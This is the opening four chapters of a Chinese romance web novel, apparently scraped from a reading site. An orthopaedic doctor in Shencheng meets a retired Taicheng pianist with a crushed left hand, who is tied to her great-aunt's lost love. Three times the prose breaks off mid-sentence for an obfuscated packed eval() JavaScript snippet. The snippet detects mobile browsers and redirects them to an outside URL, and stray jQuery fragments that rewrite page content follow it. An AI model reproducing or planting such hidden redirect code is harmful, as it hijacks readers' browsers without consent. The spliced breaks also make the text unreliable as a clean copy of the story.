《今夜潮声》
1. 第 1 章
十月深秋,申城的梧桐叶落满长街,秋风也凛冽了不少。
一周前仲希文刚住院时还穿着单衣。
人生第一回住院,仲希文觉得自己的病房堪比旅游景点,每天不知道要接待多少波“游客”,美艳的病号服照片全院同仁们都收到了。
【来申城六院,Get仲医生同款粉白条纹女病号服】。
看着群里的无厘头发言,仲希文捂着阑尾炎手术的微创伤口苦笑:“缺不缺德呀你们这些人?早知道我就去隔壁九院治了。”
护士长赶走闲杂人等,病房内一下安静。
“文文,本来你师哥要亲自给你送来的,结果临时加了台手术,我就给你带来了。”护士长8个月的双胞胎孕度可谓壮观,手里拎了仲希文最爱吃的牛肉米粉。
“嫂子你别为我这些小事劳累,下午我就出院了。”
“应该的呀,你赶紧趁热吃。”护士长瞥见仲希文床头那本最新一期的《TheLancet》杂志,声音里有些忐忑。
事情不大不小,仲希文一个小时之前才得知,她花了大半年苦写论文,可成刊的杂志中,她的师兄成了通讯作者,排名在她之前。
作为被蒙在鼓里的当事人,心里多少有些不是滋味。
“文文,我知道我们对不住你,”护士长哭腔明显,“你喜欢的那个钢琴家周沄声,我特地托人在台城给你找了他的典藏版黑胶唱片,已经在快递的路上了。”
这可不是容易事,既要知道她隐匿到只有家人才知道的喜好,又要大费周章找千里之外的人脉关系。
更难的是这位钢琴家已经隐退,早就被渐渐淡忘。
“你要什么就跟我说,只要我有我都愿意给,”一个大月份的孕妇扒着床沿蹲下,“你师兄再评不上副高……”
就涨不了薪、分不到医院的房,负担不了即将出生的双胞胎儿女。
这些仲希文怎么会不知道,赶紧扶住护士长,“嫂子你起来,事情哪有那么严重。”
这篇论文,没有师兄提供的临床案例和数据她是写不成的,可当初师兄说挂二作就可以,若是她年轻考虑不周亏待了师兄,当时好好商量一下又怎么了呢?
事件的始作俑者就是仲院长,他作为父亲明明可以直接提,却偏偏把事情瞒到了期刊出版!
现在一个孕妇来委曲求全,叫她于心何忍,这不是赤裸裸的道德绑架吗?
仲希文又深叹一口气:“你们,当然还包括我的父亲仲院长在内,都认为我小气。”
仲院长分明还在介意她博士毕业后选择去港城就职,作为父亲他就没有错吗?高高在上刚愎自用,从来不听儿女的想法。
既然是这样,仲希文说:“这件事跟师兄无关,应该由你们的院长把交换条件放我面前,看我要什么,以为回家给我做个饭就能哄我,这回他休想啊。”
护士长瞬间愣住。
出院时,母亲曲清亲自来接,在这个院里她的父母曾经王不见王,曲清为了离婚不惜辞职,现在已经是生物公司CMO,致力于研发骨科领域同种异体修复产品,从天使轮孵化期到C轮融资,不过短短五年而已。
谈起曲清,圈里人总暗里说她要是不走,新任院长的位置非她莫属,她这是给前夫让位。
这话仲希文第一个不认可,她妈妈做科研还行,管人未必管得好。
最新期的《TheLancet》她也收到了,曲清横眉冷对:“去得找一趟你爸,我倒要知道为什么,他难道不知道你为了这篇论文付出多少吗?”
“别,”仲希文拉着曲清,“您这一去,我师兄该为难了,他是老实人不会做违心事。”
“现在你师兄是最大受益人,怎么叫为难呢?”曲清戳戳仲希文的眉心,“你就是成不了大事的傻丫头!”
仲希文有足够的自知之明,她既没有母亲的野心也没有父亲的能力,一路走到今天靠的是吃苦耐劳,还有不想输给父母的那口气。
1983年,当时19岁的父亲和18岁的母亲共战高考,双双考入复大医学院,而她17岁就考上了,还是门槛极高的八年制,父亲说这只是时代之利,换到那年她只有落榜的份。
晚餐原本是曲清来做,可公司一有事她果断食言,“文文,我着急要见一个投资人,我找阿姨来给你做。”说完,曲清解下围裙急匆匆离开。
今日心情欠佳,仲希文只想自己静静:“不用,我自己煮奶油蛤蜊意面就行。”
厨房里堆满了食材,仲希文做了分类放进冰箱。
房子是父母共同出资买的,简单的小两室带大客厅,主打南北通透,光照好,阳台上可以看见卢浦大桥,微风不燥气温适宜的夜晚,仲希文喜欢窝在阳台的单人沙发里小酌一杯。
装修是她自己花的钱,设计简单质朴,浅绿色的布艺沙发、原木色实木家具、铺满小雏菊的碎花窗帘、边边角角里的盆栽……她喜欢花草胜过喜欢猫狗,直到有天她在医院停车场捡到一只瘸了腿的猫,这几日还寄养在闺蜜家里。
门铃响起,仲希文开门看到仲辛成拎着她喜欢的青柠芝士蛋糕。
“怎么不等爸爸下班?”
“我妈来了。”
仲辛成探头张望,确认前妻不在。
“她有事先走了,您进来吧。”仲希文拿出拖鞋给他。
“还没做饭呢,那爸爸给你做,你去歇着,我跟你们主任说了再多给你两天假。”
“谢谢爸。”仲希文不想提论文的事,该主动提的人是仲辛成,但他依旧只字不提。
这位大院长哪会做什么饭啊,顶多能煎个鸡蛋,仲希文还是选择自己下厨,免得自己病刚康复又得肠胃炎。
奶油蛤蜊意面和蔬菜肉丸汤,平时仲希文一人食也就这样简简单单,健康餐食之余不耽误工作,这个丸子她的猫也喜欢吃。
“文文,爸爸想跟你商量个事。明年第一季度职称评选就要开始了,这是你师哥最关键的时刻,你知道他从虹山医院调过来不容易。”
“您说吧。”仲希文用叉子拨弄着面条。
“下个月在港城的骨学科学术成果交流大会我准备换他去,让他露露脸。”
叉子掉落,和瓷碗碰撞发出刺耳的敲击声,“您说过论文顺利发表就带我去的,主办方都给我安排演讲环节了。”
怎么可以食言,怎么可以把她努力的成果轻易让人,还说得这么轻松?
“我都跟你解释理由了,事情就这么定,你还有很多机会,谁代表我们医院去都是我们医院荣誉,你不要老是在意个人名利。”
什么事都要替她做主,仲希文受够了,很想问问她的父亲:到底是女儿重要还是徒弟重要,说出口却成了:“那随您安排吧,我没意见。”
心灰意冷不过如此。
夜里,仲希文全心处理这几日留下来的邮件。去港城的两年里,她跟大学同学共同创立了“医心云健康”APP,除了各自掏尽腰包筹到的200万,还吸引到了种子轮资金。
仲希文原来想过全职为APP服务,但团队非常稀缺专业资源和官方背书,她就成了幕后的一员。
APP面世的第一年发展原地踏步,很多用户只是把它当成论坛来用。回到申城后仲希文的人脉关系渐渐扩大,运营模式也逐渐清晰,团队从医美和儿科入手邀请专家入驻,获取了第一批精准用户。
上个月和申城六院、九院顺利达成签约,医疗资源终于稳步迈向了三甲医院。下一步的目标就是大药企,有些创新药虽没有正式上市,但它们的研发进展是一大批患者生的希望。
让患者早确诊早治疗,减少寻医问路过程中不必要的开支,是仲希文建立医心的初衷。
或许现在是为自己事业重新把舵的好时机。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408879|200637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
可是这次要是离开医院,那就真是一辈子了。
【您好,請問手傷成這樣還有機會修復嗎,我兒子是彈鋼琴的,手毀了這輩子也就毀了,求大家幫幫忙!】
IP地址显示是“台城”。
这个问题三天前已经有同事做了回复:【患者可至申城六院或京城积水潭医院复查,征询临床专家意见。】
仲希文打开附件中的CT图,刚受伤时粉碎性骨折触目惊心,长达一年半的四次手术中已经可见医院的强大实力,只可惜自体植骨术并未很好修复患者的食指。而且患者的韧带完全撕裂,明显愈合不良。
在骨科领域,仲希文已经是团队里最专业的了,但伤成这样她得问师兄能不能修复……
她的师兄是申城六院骨科手术神手,说对待骨骼应有对待文物之心。院里恨不得一天给他排800台手术,评职称又嫌他从没发过论文。他连睡觉时间都够呛,哪有时间写论文?
这么一想,仲辛成还真是煞费苦心啊,她在这儿伤春悲秋可不就是小心眼嘛!
仲希文回复:【请患者不要放弃希望,我们在申城等你!】
所有人都能看到她的实名认证信息:骨科医生仲希文。
翌日六点,仲希文从梦中惊醒,着急忙慌起床洗漱完才想起来她还有两天假,回床躺着又睡不着,总觉得今天要有事发生。
仲希文很相信自己的第六感,打开APP看昨晚的回复,消息一片静悄悄。
从台城到申城方便吗,若是手术及康复费用昂贵,患者可以承担吗?
希望不会就此失联。
吃过早餐,仲希文出门去闺蜜家接猫,冷风夹带着细雨往脸上呼,还不到11月就骤然降温,今年的冬天来得比往年早。
闺蜜闻甜还和父母同住在永迦路上的老洋房,姑奶奶在世时与她家是相亲相爱好邻居。
闻甜是个拍老洋房生活的Vlog博主,粉丝十几万,平日就在家拍带货视频,展现自己仙女般的生活。
“荷包简直太能吃了,再跟我多住一段日子的话我还能带宠物类的货,要不你把它借我吧?”
“想得美呢,”仲希文撸着大白猫的头,“你每天生活多姿多彩,也不想想我下班到家就只剩猫了。”
“那你赶紧找个对象呗!对了,昨天下午我不在家,我妈说有个建国前穿越来的帅哥找西爱咸司路667号找仲婆婆,地方是找对的呀,就是有点戆。”
“啊?”仲希文深觉不可思议,“那阿姨怎么跟他说的,怎么不把我电话给他?”
“我妈妈怕他是骗子,叫他去居委问,但是居委下班了呀。”闻甜自顾自化妆,贴完假睫毛又补了一句,“那个人是台城口音,我妈说人长得巨帅。但我妈品味有问题,她还说我爸帅呢。”
又是台城?
今天要拍的是周末在家的自制奶茶甜点小厨娘生活,仲希文窝在摄影机拍不到的地方吃点心,看闻甜一遍又一遍NG。诗意生活的背后是外人看不到的艰辛。
手机有陌生来电,仲希文走到门外接起,那边的阿姨操着本地话说:“是永迦路853号的小姑娘伐,就是原来的西爱咸司路667号,有个台城来的周先生寻侬,侬认得伐?”
“台城的,周还是钟?”
“周呀,周杰伦的周,我叫伊帮你侬讲,要么侬现在过来一下好伐。”
“好,我现在过来,”仲希文匆匆忙忙套上鞋跑出门,“您把电话给他!”
“你好,我叫周沄声,昨天刚从台城来,请问……”
天空灰蒙,雨丝淅沥,仲希文捂着肚子小跑,听到“周沄声”三个字的时候错愕停下脚步,樱唇微喘:“周先生请再等我五分钟,我在来的路上。”
西爱咸司路667号的故事是她儿时的枕边故事,是玫瑰与枪火,是战争与和平,是一场爱而不得的碎梦。
2. 第 2 章
申城的秋,是法国梧桐落叶堆叠的油画。
周沄声站在梧树下等她。
仲希文没顾自己脚上是白色居家鞋,脚后跟冷得失去知觉,蜷曲长发在风中凌乱。
踏碎枯叶,万物奔向秋天,她奔向他。
名字会有谐音,但他的声音她早就刻骨铭心,低沉但不喑哑,像钢琴的低音部。
短短几分钟,仲希文脑中却上演了无数种可能性,可是上天要塑造巧合,那结局只会有一种,他就是唯一的那个周沄声,她那个消失的钢琴家。
他怎么这么瘦?黑色的长款棕色皮衣包裹男人的修长身躯,半长乌黑的头发上蒙着一层细密雨珠。
今天是仲希文见周沄声的第五次,周沄声初见仲希文。
他试探着问:“请问是仲小姐吗,仲夏夜的仲?”
“是,是我。”仲希文站在周沄声面前抬头看他,头顶刚及他鼻尖,“我的名字是仲希文。”
“你怎么穿这么少,这边真的太冷了,还麻烦你跑出来。”周沄声脱下自己的外衣给仲希文。
“啊,”看见男人露出薄毛衣下的瘦削身躯,仲希文揪紧了心,“你也会冷啊,给了我那你怎么办?”
“没关系啊,我可以。”
看到他左手的那一刻,仲希文的心彻底凉透了,黑色皮手套,食指被固定夹板保护。难怪出了典藏版甄选集后他就再也没了动态,不是江郎才尽,是伤退。
【我兒子是彈鋼琴的,手毀了這輩子也就毀了】……仲希文不由得联想。
“路名和门牌都对不上,我以为给我讯息的人搞错了。”周沄声露出淡淡笑意,“他们给我一个港城的号码跟地址,但拨不通,而且房主说你退租。”
仲希文顿在原地,“你是不是从港城告士打道的教会得到的地址?”
“是。”
“三年前我就去问过,我每个月都去,可是你们家的旧址已经不存在了。”仲希文眼眶微红,“抱歉是我没留新的号码给你,我以为这辈子都找不到你!”
“没、没事啦,”周沄声语气温柔如水,“你这么讲,我觉得今天来就不算唐突了。好冷,我们走快点?”
“好。”
仲希文只觉得自己心跳快得没法控制。
喜欢一个钢琴家跟喜欢一个纸片人没有区别。周沄声很少在公开场合露面,没什么娱乐新闻,只有一个YouTube账号不定期更新视频。这只会激起仲希文对他的热情——他好神秘。
他是M国曼迪斯交响乐团唯一签约过的亚洲钢琴家,巡演票一票难求,2018年在申城的那场,仲希文托“黄牛”的福,以高价买到很靠前的位置。
那几年她好穷,终于切身体会歌词里的那句“半年的积蓄,买了门票一对”。
不,是一张。
走到永迦路853号前,周沄声抬手抚着门牌号,问:“这就是我阿嫲生前住的地方?”
仲希文把衣服还给周沄声,“你的阿嫲?不对不对,这件事我们得好好捋一捋,你等我下,快把衣服穿上别着凉。”
急匆匆回闻恬家取了东西,仲希文对闻恬喊:“荷包先送你两天,我有事先走。”
“当医生的就是命苦,一通电话就要赶回去,”闻恬叹气,“你走吧走吧,要记得好好吃饭!”
“知道了!”
永迦路853号虽是私人住宅,但早在90年代初就被列入了申城历史保护建筑,围墙内的一草一木都不可随意动。
“周先生,钥匙在我的公寓,这里早就没有人住了。”
围墙低矮,周沄声可以看见院内的鹅卵石小径,小花园里的石桌石凳,还有墙角边的腊梅,古朴安静得就像它原来的主人,一位学识渊博却又淡泊一生的老太太。
老太太闺名仲明禾,在那个女子该无才的年代被送到女校识字,又有幸传承父亲的中医之术。仲家以入杏林为荣,仲老89岁高龄时一周还要坐诊三日。
一生为医学奉献,未嫁未育,唯念一人:周敬凡,字若平。
虽无人居住,但每周月仲希文都会安排保洁打扫,尽管如此,还是少了些生气。
“阿嫲在这里住到几岁?”
“95岁,2023年4月走的,走之前还在问我有没有你们一家的消息。”仲希文倚着围墙,抬头望着老太太时常晒太阳的阳台,“她猜测周敬凡先生早就不在人间,只是一直安慰自己他还安好,长命百岁,大概这样她内心才能宁静。”
“阿公他1977年就已西去,那时我父亲都还没成年。”
仲希文双拳紧握,说:“你跟我走吧,去我的公寓。”
公寓离853号大约3公里,开车不需要十分钟。
仲希文带周沄声进书房,文雅的男士局促地在门口站着。
“周先生,请进。”
“谢谢。”
她平日喜欢席地而坐,书房地板上便铺了毛毯,她不喜欢别人用脚踩踏她的毯子。今日为周沄声破了例。
周沄声从包里拿出一个锦盒,里面是一枚由小米珍珠和绿松石串起的蝴蝶胸针,“这是阿嫲留的东西,你我是同辈,但我比你大,所以我们是一家人对不对?”
“绝对不是。”仲希文否定得干脆利落。
“仲明禾女士很遗憾没有成为周敬凡先生的夫人,他们只是故人。一生相念相思,永隔两岸。”仲希文从书架取下一本书递他。“从1980年到2012年,我姑奶奶潜心学术,这本《药草锦食杂谈》累积销量已经过百万,还有这本《中医居家理疗》她离世前没多久出了第四个版本。”
书籍扉页就有作者介绍,仲明禾出生于民国十六年(1927)腊月初九,一生孑然唯念一人。
周沄声看着纸页无声哽咽。
“她就像一棵树,生在哪就长在哪,这一生都没有离开过申城。”仲希文假装若无其事转到书桌前,偷偷藏起一个照片摆台,这是她和过去的周沄声唯一的同框。
那年仲希文18岁,他22,曼迪斯交响乐团圣诞音乐会在申城掀起新年之声,恰逢复大百年校庆,校交响乐团主席请到周沄声来校演出。
仲辛成教授没时间去,把第一排的票给了女儿。
彼时少年钢琴家总是笑意融融,清雅出尘却光华内敛,在金光闪耀的复大学子中,他月光般的清辉让仲希文一眼难忘。
演出结束,周沄声手捧鲜花和观众合影,仲希文挤着身体往前靠,如愿站到他左边,挨得很近,近到可以嗅到他香水味中的广藿香。
“仲小姐,不好意思我妈电话找我。”
“没关系,我先去帮你倒茶。”仲希文回头看了眼黑胶唱片机,相信周沄声应该不会随意动他人物品,否则她就要暴露了。
正好还有青柠芝士蛋糕,仲希文在阳台摊开煮茶的工具,泡了一壶黄芽,摆上坚果点心。
周沄声快步从书房出来,神情比初见时的疑惑多了几分慌张:“仲小姐你知道申城六院吗?”
“知道啊,我就在那边工作,是六院的医生。”
二人安静凝望,周沄声对着还没挂的电话说:“我应该已经找到仲希文医生了。”
“乱讲什么啦你,我才告诉你不到一分钟唉!”电话那头声如咆哮,“我跟你讲你要是不去,妈妈这辈子就不管你了,说到做到!”
“是真的找到啊。”周沄声强力辩解,“算了,我讲不清楚。”
这确实没法信,他不在医院,而是在他要找的医生家里,还光脚踏在人家的地板上。甚至连仲希文自己都很混沌,但周沄声就这样活生生地站在这里,与她孤男寡女独处一室,她不得不信。
医心APP的问世有她的功劳,本来就注定会给她带来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408880|200637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很多与患者之间的缘分。
“要拍照当证据吗?”仲希文拿出自己的执业证给他。
“不是啦,不用不用……”周沄声突然有些慌张,没想到这么快就要看医生了。
仲希文请周沄声坐在对面,“你的手我可以看看吗?”
摘下手套,周沄声将布满伤疤的手放在仲希文面前。
竟然伤成这样,仲希文不敢碰,那双在钢琴黑白键之间飞翔跳跃的手,敲下音符组合传递天籁之音的手,斑驳得让她胸腔发闷。
“这是怎么伤的,多久了?”
“救一个小孩,两年多了,其他的我不记得,选择性遗忘造成的。”
仲希文轻轻抚过创面,问:“食指不能弯曲吗?”
“可以,”周沄声试着弯曲,也仅仅下去了一点点,“但只能这样。”
不仅是手指,手掌的弯曲也不灵活。
“手翻过来放平。”仲希文从手边架子上取下一块手帕垫在他手腕下,过一会儿又叫他换一只手。
不像其他同龄人从小学画学琴,仲希文7岁就会诊脉,药方背的比古诗都好,诊断道:“你胃不好脾虚明显,恐怕经常抽烟醉酒熬夜,饮食更是不规律。”看他心虚,不继续说了,但没放开他的手。
他根本就是个沉疴深重的人,这具身体都说不出还有哪点好。
他的脉搏跳得很快,仲希文收回了手,调转话锋问:“若平先生过世这么久,为什么你们现在才想起要来申城?我姑奶奶就算高寿也都没等到你来。”
若平先生也是个纸片人,像是仲明禾女士笔下杜撰的人物,仲希文时常有这种错觉。《西爱咸司路667号》日记是仲明禾女士的回忆录,但更像民国少女的爱情小说。
“我父亲想找找这边还有没有亲人,我不知道自己还能做什么,家人和老师都希望我出来看看。”他的回答很真诚,却很无力。
“所以也是想来这边治疗?”
周沄声苦涩一笑,浑身透着冷,比这个季节更冷,“没有啦,没抱什么希望,我……我早就放弃了,做了很多次手术,医生也都尽力了。”
十几年来的精神寄托像玻璃渣子散了一地,彻底撕碎了仲希文梦里的美少年滤镜,他如果不是这个人就在眼前,她想自己一定会疯掉。
“为什么要这么想,是不信我们医院?”仲希文内火焚心,养伤期间不自爱反自残的病人恨不得都给他截肢一了百了,“你现在有很多事情要做了,如果若平先生欺骗了你们,说他的妻子、你的阿嫲就是我姑奶奶仲明禾,那这一切就都是错的,你还要从头开始找。”
仲希文脾气很差,从小就怕姑奶奶诊她的脉,看出她这阵子在生闷气。为了身体健康,能忍的自己消化,不能忍的就当场发泄。
“仲医生我没有不信,”周沄声也一样憋满了情绪,“我不止是渴望正常生活而已,预期很高失望就越大,不止我一个人要面对这种辛苦。”
“那这次很好啊,你并不抱希望,我确实救不了钢琴家的手……”仲希文强忍泪水,“但我会尽我全力帮你,你怎么想呢?”
茶炉里热水沸腾,两个人的沉默空间却冷到冰点。
怎么像她欺负他了呢,她不过是站在上帝视角,多知道了一些而已啊。
仲希文摊牌:“我认识你很久了,那年复大百年校庆,你穿蓝色燕尾服很好看,之后我看过你三次演奏会,在LA、港城和申城。”
周沄声抓着龙眼捏碎了,呆呆地看着她,眼里只剩愧疚。
沉默许久,仲希文实在受不了了,觉得自己很失态,喃喃道歉:“对不起我太激动了,没吓着你吧?”
“仲医生,请你帮帮我,”周沄声艰难吐字,“我还想弹琴。”
“求医之路本就比想象中的难多了,不要放弃,你要相信我比任何医生都想治好你。”
3. 第 3 章
天色已暗,仲希文还想多留他一点时间。
“快到饭点了,我先去做饭,可能还挺好吃的。”这一刻仲希文庆幸昨天她妈带来的生鲜和蔬菜都还在。
进厨房前,仲希文回书房取来一本相册,其中收录了仲明禾老人珍藏一生的照片,厚厚的一大本里面却唯独没留周敬凡的。
只怪时间仓促,否则仲希文真想将山珍海味都端到他面前。
他看得很慢,一个多小时了还没翻完一半。
“每张照片后面都有故事,以后有时间我讲给你听。”
“谢谢你,仲医生。”周沄声郑重合上相册,递回给仲希文。
仲希文小时候不爱笑,但医院需要笑容,所以对任何人都能报以温柔一笑,哪怕并没有什么心情笑,“吃饭吧。”
他拿筷子吃饭的样子不太自然,显然不是身体原因,周沄声赧然说:“我以前都是用那只手吃饭。”
呵,真是个假粉丝,这么多年来仲希文都没意识到他是个左撇子!所以他受伤的是左手……
菌菇蛤蜊汤很鲜美,仲希文用它拌饭吃,她平日就喜欢吃汤汤水水的东西,周沄声学着她的样子往自己碗里舀汤,再夹一块三分肥七分瘦的红烧肉。
对于这份红烧肉,仲希文必须说两句:“这鲍鱼红烧肉是我姑奶奶教我做的,本来应该多炖一会儿的,你尝尝鲍鱼。”
说归说,她不好意思伸筷子帮他夹,满脑子都是他会不会嫌弃和男女有别,怪好笑的。
更好笑的是周沄声的筷子要夹不夹的。
“啊呀,你就吃吧。”仲希文下手精准狠,碗里两个最大的鲍鱼都夹给了他。
对面的男人原本苍白的脸上透出了一丝红晕,轻声说了句谢谢后低头默默吃饭。
“这次的话你准备在申城待多久?”
“还没决定,申城音乐学院附中有个临时的工作机会,下个礼拜一我要去拜访一下。”
“那做手术会影响你工作吗?”
周沄声迟疑了。
仲希文猜到就医应该不在他原本的计划之内,本着医生的职责所在说道:“前期要经过几次检查然后商榷手术方案,手术之前你的家属需要过来,术后还需要住院休养,整个过程可能会比较久。”
这些流程周沄声都不陌生,确实会和他的工作时间发生冲突,而且这个工作机会是他的老师费了不少心思要来的。
“仲医生,都已经这样了我的手术今年做明年做也差不多吧?”
仲希文很喜欢他说话的腔调,口音不重但柔和的味道让她觉得分外舒适,“嗯,可以配合你的时间,工作比较重要,那这段时间你住哪里?”
“暂时住在酒店,学校说会帮我安排好,但我可能住不惯住宿舍。”
“那……那要不要就住西爱咸司路667号吧,手术可以延后,但你的身体需要从现在开始调理。”仲希文企图将话说得更严重一些,比如工作强度他会受不了、长期疲劳不利于手术等等。
“那你呢,也住那边?”
“……”
两人几乎同时噎了一下,这下还分得清谁比谁更主动?
仲希文不否认,淡定道:“趁你还没入职,趁我假期还没用完,明天我带你去看中医吧,你还有别的安排吗?”
“倒是有一个,我没有适合工作穿的西装,要去买。”
听着不错,仲希文发现自己还没陪男人买过衣服呢,腮帮子鼓着都忘了要嚼。
要是换到别的场景,仲希文早就把大伙都安排得明明白白了,她的掌控力是父母遗传的,但是面对周沄声这条链子掉完了。
“附近哪个商场比较好?”
她都快一年没逛街了,当然也不能全怪工作,主要是没有逛街的搭子,她的好闺蜜宅家才能赚钱。
“我知道有个买西装的地方,我爸妈都在那定做,没商标但质感版型都好,他们挺怕别人看出是什么牌子的。”
“呃……那……”
“我带你去吧。”
“好,谢谢。”
“呵呵,客气啥。”仲希文看出来了,他脸皮薄不好意思,她主动提出后周沄声整个人都轻松了不少。
这样也好,符合她不爱罗嗦的个性。
他只吃了半碗多的米饭,多的不要了,仲希文强行让他多吃两个鲍鱼,他倒是不推辞。吃完说自己很久没有一顿吃这么多。
仲希文听到开心了很久。
霜降之后天黑得更快,七点多的申城街道霓虹闪烁,刚下班的丽人们大多行色匆匆,长发和披肩被冷风吹乱。
仲希文开车将周沄声送回半岛酒店,那富丽堂皇的建筑她还是第一次进去,“明早九点我来接你,OK吗?”
“好,仲医生路上注意安全,明天见。”
这句话仲希文很受用,姑奶奶离世后很久没人关照她要路上小心了,从医院到住处不过十分钟的脚程,这条短短的往返之路转眼已经困了她三年多。
生活太久没有波澜,人也变得淡然,没有了欲望。
回到车里,仲希文听了很久的钢琴曲,今天她跟周沄声单独相处了四个多小时。回顾一幅幅画面,仲希文趴在方向盘上思前想后,今日事已毕,那明日该怎么办?
出门该穿什么,带他去吃什么?
九点到酒店的话,起来画个全妆要多久,几点起来啊?
化妆……仲希文摸了摸自己的脸,今天上了层防晒就出门了,纯素颜啊!
“啧。”仲希文对自己不由恨铁不成钢,“得了,你以后是他的医生,不要爱上自己的病人。不然他后面带个年轻漂亮的妹子来,说不定还是金发碧眼的,你不得嫉妒死啊?”
说到化妆,闻甜可是专业的,大学那会儿她就玩COSPLAY混迹漫展,仲希文清清嗓子给她打电话。
“甜甜,你一般拍视频前化妆要多久啊?”
“一个半钟头吧,这不还得发型加着装全身搭配嘛,问这个干嘛你又不打扮?白大褂就是你最美的衣服。”
“明天早上7点我到你家,你帮我化个妆,今晚早点睡。”
“噶早侬要做啥啦,有毛病伐?”
回到家,仲希文从卫生间到卧室再到厨房,罗列了一大串需要购买的生活用品,兴致勃勃地加到购物车后停在了付款界面。
“所以,然后我要怎么跟我爸妈解释,说出来会不会很离谱?”
“我住不住无所谓,他得住呗,那半岛酒店住一晚得多少钱啊?”
最后仲希文还是选择了付款,收件地址是闻甜家,等一切都安排好就可以安排周沄声拎包入住了。
“我的荷包怎么办,他会不会对猫毛过敏啊?我查一下看看。”
刚打开百度,微信跳出一跳好友验证消息,备注是周沄声,点开的时候仲希文手有点抖,他很快发信息进来:【仲醫生還沒睡吧?他們說搜號碼可以找到你。】
仲希文:【还没,有事吗?】
与此同时,仲希文点开了周沄声的头像——一只布偶坐在三角钢琴上。这是不是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408881|200637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
证明他也喜欢猫,他不过敏?
周沄声:【不太會操作這個APP,我試試看】
仲希文:“……”
周沄声:【很少有社交,剛加你做第一個好友,好像蠻簡單的】
仲希文快笑出声,但又真是不知道怎么回复。
很快又进来一条语音:“哈喽,你听得到吗?”
还真当她是小白鼠呢,仲希文回复:“听得到,微信还可以转账,你试试看呢?”
周沄声:“这个好像不可以,我还没办法充钱进去。”
仲希文:“会传照片吗?”
聊天界面很快进来一张照片,拍的是酒店的桌面,一杯茶、一个烟灰缸,烟灰缸里有3个掐灭的烟头。
他抽烟的样子好看吗,仲希文想不出来。
他出现后一切变成真实,扼杀了她的想象力。
今天相处的四个多小时里他没有抽烟,话很少,走路会跟在她身后,她快他就快,她慢他就慢。
仲希文没有怀疑过周沄声作为音乐家的教养,在她的记忆里,他会认真向观众90°鞠躬,谢幕时礼貌地为小提琴家让出C位,会温柔地用双手接过每一束献给他的花。
可惜的是她坐前排的那次,工作人员拒绝让她带花进去。
【我不知道他有没有后人,若有缘见到,我想抱一抱,这是我活过90岁却还想要活下去的的意义。】
这一句话写于2020年春节,在人生的最后两年,仲明禾写《西爱咸司路667号》日记的频率越来越少,她的视线逐渐模糊,拿笔的手也会控制不住颤抖,想说的话也越来越少。
仲希文翻开这一页拍照发给周沄声看。
就像《明年今日》的那句歌词:“谁舍得改变,离开你六十年,但愿能认得出你的子女。”
1979年两岸交往的藩篱被撤销,可惜周敬凡没有等到这一天,但仲明禾始终没有怀疑过她牵挂的人已经离世,而是在遥远的三十多年之后,她与仲希文说起这些事情的时候,才哀叹自己这辈子也许是等不到若平了。
仲希文以为周沄声会回复“我来晚了”这种意思的话,但他却说:【如果上天能多給他們一些緣分就好了,活得太久的人好辛苦。】
能怪谁呢,层层事件的背后故事老百姓是理不清楚的,只能怪自己太执着不肯放下。
夜里辗转难眠,仲希文听见秋雨拍打玻璃的声音,心骂道:破天气!怎么偏偏他刚来的这几天要下雨?
晨起时天生依旧昏沉,仲希文简单梳洗护肤后就出了门,还特意拿上了老房的钥匙。
闻甜知道仲希文从不开玩笑,更不会迟到,早起肿着一张脸准备适合她那种混油偏白皙皮肤适用的化妆用品。
“文文要来吃早点的是伐,个么我再出去买点,豆花要不要?”
“她喜欢吃西式的,我就随便啦,帮她弄好还要睡回笼觉呢。”听得出来怨气还是有些大了。
话音刚落,仲希文开门进院子,手里拎着美式咖啡和三明治。头顶天色好了许多,阳光透过云层露出寡淡的白色,冷风也从五级降到了三级。
闻甜惊叹:“我去,你竟然还有时间去买咖啡?”
“昨晚失眠不喝撑不住,快点吧我赶时间。”
闻甜从昨晚就好奇她这么大阵仗要去干什么,“要见谁啊,你那个APP的京城三清博士投资人?”
“周沄声,我要去见周沄声。”
“你的钢琴家要复出了?你终于等到他的演奏会啦!”
4. 第 4 章
“没有演奏会,”仲希文笑起来,“你昨天嘲笑他是建国前穿越来的骗子。”
“啊?”闻甜转头就要去调门口的监控,一把被仲希文揪住。
“别耽误我正事,我尽快带你见真人。”
“真的哦?”
“真的真的,快点。”
闻甜为她设计的是韩式日常妆,非常温柔且有素颜感,还说这很适合30加了一点点的小姐姐,超级减龄。
“他35我31,我有必要装得很年轻吗?”
“闭嘴,给你涂点唇釉,你这嘴干得跟人接吻都容易给人划破嘴皮。”
仲希文:“……”
